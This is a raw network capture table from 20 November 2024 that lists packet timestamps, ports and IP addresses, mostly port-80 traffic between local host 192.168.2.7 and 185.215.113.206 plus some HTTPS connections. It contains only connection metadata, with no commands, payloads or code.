Nov 20, 2024 21:05:47.935725927 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.935777903 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.936366081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.936414003 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.936532021 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.936606884 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.937302113 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.937345982 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.937490940 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.937536955 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.938327074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.938385963 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.938590050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.938895941 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.939213991 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.939270973 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.939502001 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.939558983 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.940239906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.940296888 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.940298080 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.940340996 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.941098928 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.941205025 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.941214085 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.941257000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.941966057 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.942017078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.942025900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.942065954 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.942668915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.942720890 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.942785978 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.942837000 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.943519115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.943532944 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.943563938 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.943577051 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.944381952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.944431067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.944909096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.944957018 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.945275068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.945321083 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.945532084 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.945578098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.946258068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.946311951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.946335077 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.946378946 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.947114944 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.947181940 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.947611094 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.947673082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.952384949 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:47.952414036 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:47.952420950 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:47.952466965 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:47.952478886 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:47.952490091 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:47.952506065 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:47.952528000 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:47.952548027 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:47.952548981 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:47.952564955 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:47.987301111 CET	443	49835	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:47.987394094 CET	443	49835	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:47.987452984 CET	49835	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:47.993499041 CET	49835	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:47.993518114 CET	443	49835	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.053958893 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.054989100 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.055011034 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.056379080 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.057429075 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.057605982 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.057786942 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.058017015 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.058023930 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.092905998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.092969894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.092999935 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.093043089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.093565941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.093622923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.093712091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.093759060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.094243050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.094402075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.094404936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.094439983 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.095129013 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.095185995 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.095290899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.095344067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.096019030 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.096088886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.096498013 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.096548080 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.096951008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.096997023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.097017050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.097101927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.097831964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.097887993 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.098510027 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.098558903 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.098790884 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.098838091 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.099253893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.099301100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.099668026 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.099680901 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.099715948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.100558043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.100605965 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.100644112 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.100697041 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.101608992 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.101663113 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.101727009 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.101811886 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.102324009 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.102431059 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.102564096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.102602959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.103212118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.103260994 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.103635073 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.103681087 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.104111910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.104182005 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.104258060 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.104301929 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.105053902 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.105106115 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.105159998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.105214119 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.105892897 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.105978012 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.106199026 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.106240988 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.106996059 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.107007980 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.107068062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.107708931 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.107762098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.107857943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.107903004 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.108694077 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.108705997 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.108743906 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.108757019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.109607935 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.109667063 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.109760046 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.109810114 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.141777039 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.141807079 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.141844034 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.141870022 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.141885042 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.141908884 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.187799931 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.188381910 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.188405037 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.188481092 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.188497066 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.188695908 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.308588982 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.316323042 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.316346884 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.316453934 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.316473961 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.316555023 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.356837034 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.356859922 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.356940031 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.356957912 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.357007027 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.357027054 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.379482985 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.379519939 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.379584074 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.379595995 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.379626989 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.379652023 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.380485058 CET	49846	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:48.380528927 CET	443	49846	23.200.88.30	192.168.2.7
Nov 20, 2024 21:05:48.380637884 CET	49846	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:48.380922079 CET	49846	443	192.168.2.7	23.200.88.30
Nov 20, 2024 21:05:48.380933046 CET	443	49846	23.200.88.30	192.168.2.7
Nov 20, 2024 21:05:48.396516085 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.396538973 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.396590948 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.396603107 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.396653891 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.396653891 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.522979975 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.523046970 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.523109913 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.523123980 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.523176908 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.523241997 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.540157080 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.540204048 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.540249109 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.540258884 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.540294886 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.540313005 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.557698011 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.557742119 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.557820082 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.557820082 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.557827950 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.558432102 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.572745085 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.572789907 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.572875977 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.572875977 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.572885036 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.573282003 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.585674047 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.585707903 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.585728884 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.585774899 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.585800886 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:48.585815907 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.585849047 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:48.589185953 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.589211941 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.589307070 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.589307070 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.589315891 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.589376926 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.606998920 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.607023954 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.607136965 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.607145071 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.607733965 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.624350071 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.624396086 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.624484062 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.624485016 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.624495029 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:48.624572992 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:48.645159006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.645242929 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.645299911 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.645360947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.645469904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.645615101 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.645626068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.645709991 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.646162033 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.646236897 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.646441936 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.646488905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.647038937 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.647104979 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.648006916 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.648020029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.648031950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.648103952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.648873091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.648950100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.649147987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.649200916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.649772882 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.649884939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.649908066 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.649941921 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.650657892 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.650835037 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.650867939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.650994062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.651551008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.651617050 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.651954889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.652043104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.652479887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.652534962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.652618885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.652697086 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.653378963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.653393984 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.653445959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.654213905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.654344082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.654352903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.654474974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.655102015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.655173063 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.655255079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.655359030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.656052113 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.656179905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.656210899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.656306982 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.656898975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.656954050 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.657079935 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.657146931 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.657883883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.657953024 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.657979965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.658119917 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.658715010 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.658823967 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.658838034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.658896923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.659697056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.659764051 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.659765959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.659822941 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.660517931 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.660609007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.660712957 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.660918951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.661400080 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.661499977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.661590099 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.661647081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.662333012 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.662426949 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.662494898 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.662544966 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.663197994 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.663307905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.663341045 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.663408995 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.664118052 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.664202929 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.664549112 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.664649010 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.665002108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.665147066 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:48.665185928 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.665317059 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:48.665954113 CET	80	49780	185.215.113.206	192.168.2.7
